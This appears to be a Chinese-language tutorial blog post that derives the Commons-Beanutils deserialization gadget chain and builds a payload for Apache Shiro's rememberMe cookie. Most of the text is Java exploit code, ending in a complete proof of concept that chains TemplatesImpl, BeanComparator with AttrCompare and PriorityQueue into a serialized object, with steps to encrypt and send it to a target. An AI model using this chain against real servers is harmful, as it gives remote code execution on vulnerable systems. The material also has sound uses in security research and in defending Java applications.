我们上次用的CC3的依赖,这次把这个依赖删了,使用shiro自带的依赖打cmmons-beanutils-1.8.3.jar
CC是对java集合类的增强,CB是对JavaBean的增强
bean是容器,Java中可以对bean进行操作get,set方法
而cb为了动态的操作bean,它里面有工具栏可以直接操作bean
PropertyUtils.getProperty(ClassName,"Field")
我们跟到getProperty
内部看看是怎么操作的
public static Object getProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {
return (PropertyUtilsBean.getInstance().getProperty(bean, name));
}
继续跟进getProperty
public Object getProperty(Object bean, String name)
throws IllegalAccessException, InvocationTargetException,
NoSuchMethodException {
return (getNestedProperty(bean, name));
}
Nested
是嵌套的意思 跟进去发现,readMethod是我们传进去的参数
然后进行反射调用,将值返回
Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
return (value);
实际上在CC3中我们发现在templatesImpl
类中有一个getOutputProperties
方法,被newTransformer()
调用
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
newTransformer()
是可以动态加载类的,也就是可以代码执行,所以getOutputProperties
也是一个可以代码执行的点
我们这里拿CC3的后半条链进行测试,注意包的问题
package com.ay;
import org.apache.commons.beanutils.PropertyUtils;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import org.apache.xalan.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
/**
* @ClassName CBTest
* @Author aY
* @Date 2023/3/12 21:40
* @Description
*/
public class CBTest {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field namefield = tc.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates,"aaaa");
Field bytecodesield = tc.getDeclaredField("_bytecodes");
bytecodesield.setAccessible(true);
Field tfactoryfield = tc.getDeclaredField("_tfactory");
tfactoryfield.setAccessible(true);
tfactoryfield.set(templates, new TransformerFactoryImpl());
byte[] code= Files.readAllBytes(Paths.get("D://tmp/Test1.class"));
byte[][] codes={code};
//private byte[][] _bytecodes = null;
bytecodesield.set(templates,codes);//到了代码执行的地方了,需要将执行的命令传进去
PropertyUtils.getProperty(templates,"outputProperties");
}
//封装serialize
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
//封装unserialize
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
弹出计算器,执行点找到了
我们继续找getProperty
在哪被调用了
org.apache.commons.beanutils.BeanComparator
public int compare( Object o1, Object o2 ) {
if ( property == null ) {
// compare the actual objects
return comparator.compare( o1, o2 );
}
try {
Object value1 = PropertyUtils.getProperty( o1, property );
Object value2 = PropertyUtils.getProperty( o2, property );
return comparator.compare( value1, value2 );
}
catch ( IllegalAccessException iae ) {
throw new RuntimeException( "IllegalAccessException: " + iae.toString() );
}
catch ( InvocationTargetException ite ) {
throw new RuntimeException( "InvocationTargetException: " + ite.toString() );
}
catch ( NoSuchMethodException nsme ) {
throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );
}
}
Object value1 = PropertyUtils.getProperty( o1, property );
property
属性可以控制,o1
是我们传的参数,这里很可能是一个可以利用的点
在CC2中我们 使用优先队列java.util.PriorityQueue
调用了readObject
方法,readObject
里面调用了heapify
,heapify
里面调用了siftDown
,siftDown
里面调用了siftDownUsingComparator
,siftDownUsingComparator
里面调用了comparator.compare
方法,又找到一个类TransformingComparator
,它的compare
方法会调用transformer.transform()
方法。
现在我们同样可以使用优先队列中找到compare
,而且优先队列的参数也是可以控制的
利用链条:
defineClass->newInstance
TemplatesImpl.newTransformer
TemplatesImpl.getOutputProperties
PropertyUtils.getProperty
BeanComparator.compare
TransformingComparator.compare
PriorityQueue.readObject
构造exp
将CC2的后半条链子拿过来直接用
TemplatesImpl templates = new TemplatesImpl();
Class te = templates.getClass();
Field namefield = te.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates,"aaa");
Field bytecodesield = te.getDeclaredField("_bytecodes");
bytecodesield.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://tmp/Test1.class"));
byte[][] codes={code};
bytecodesield.set(templates,codes);//到了代码执行的地方了,需要将执行的命令传进去
接下来new一个BeanComparator
,看看它的构造方法
public BeanComparator( String property ) {
this( property, ComparableComparator.getInstance() );
}
这里我们只需要将参数值传进去就好了,也就是要调用的OutputProperties
方法名
然后弄一个优先队列,将它放进来,然后序列化就好了
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add(templates);
priorityQueue.add(2);
在PriorityQueue
实例化的时候,要把beanComparator
传进去,但是这里直接传的话会有问题
我们通过反射在序列化之前修改它的值
Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
Field comparator = priorityQueueClass.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,beanComparator);
但是还是报错
这里是因为队列在add的时候就会进行操作。
解决这个问题有两种方法:
第一种就是在优先队列的时候,正常传数据,在反序列化之前利用反射将值改回去
PriorityQueue priorityQueue = new PriorityQueue();
priorityQueue.add(1);
priorityQueue.add(2);
第二种就是利用CC2的链子
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(templates);
Class c = transformingComparator.getClass();
Field transformerfield = c.getDeclaredField("transformer");
transformerfield.setAccessible(true);
transformerfield.set(transformingComparator,InvokerTransformer);
TransformingComparator
虽然是CC4中的类,但是我们在传入系统的时候就把他修改成beanComparator
,只要我们本地有CC4的依赖就可以做了
exp:
package com.ay;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
/**
* @ClassName CBTest
* @Author aY
* @Date 2023/3/12 21:40
* @Description
*/
public class CBTest {
public static void main(String[] args) throws Exception{
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class te = templates.getClass();
Field namefield = te.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates,"aaa");
Field bytecodesield = te.getDeclaredField("_bytecodes");
bytecodesield.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://tmp/Test1.class"));
byte[][] codes={code};
bytecodesield.set(templates,codes);//到了代码执行的地方了,需要将执行的命令传进去
//CB
BeanComparator beanComparator = new BeanComparator("outputProperties");
//CC2
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
Field comparator = priorityQueueClass.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,beanComparator);
serialize(priorityQueue);
unserialize("ser.bin");
}
//封装serialize
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
//封装unserialize
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
我们还是将生成的ser.bin文件加密,然后传到rememberMe字段中
发送之后发现没反应
实际上是在BeanComparator
的构造方法中ComparableComparator
会调用CC中的依赖
public BeanComparator( String property ) {
this( property, ComparableComparator.getInstance() );
}
我们只要调用它的另一个构造函数,然后调用JDK或者CB自带的类就行了,同时还要满足两个条件,一方面就是继承comparator
接口,另一个方面就继承Serializeable
public BeanComparator( String property, Comparator comparator ) {
setProperty( property );
if (comparator != null) {
this.comparator = comparator;
} else {
this.comparator = ComparableComparator.getInstance();
}
}
然后我们再进行加密,发包
poc:
package com.ay;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
/**
* @ClassName CBTest
* @Author aY
* @Date 2023/3/12 21:40
* @Description
*/
public class CBTest {
public static void main(String[] args) throws Exception{
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class te = templates.getClass();
Field namefield = te.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates,"aaa");
Field bytecodesield = te.getDeclaredField("_bytecodes");
bytecodesield.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://tmp/Test1.class"));
byte[][] codes={code};
bytecodesield.set(templates,codes);//到了代码执行的地方了,需要将执行的命令传进去
//CB
BeanComparator beanComparator = new BeanComparator("outputProperties",new AttrCompare());
//CC2
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(templates);
priorityQueue.add(2);
Class<PriorityQueue> priorityQueueClass = PriorityQueue.class;
Field comparator = priorityQueueClass.getDeclaredField("comparator");
comparator.setAccessible(true);
comparator.set(priorityQueue,beanComparator);
serialize(priorityQueue);
unserialize("ser.bin");
}
//封装serialize
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
//封装unserialize
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}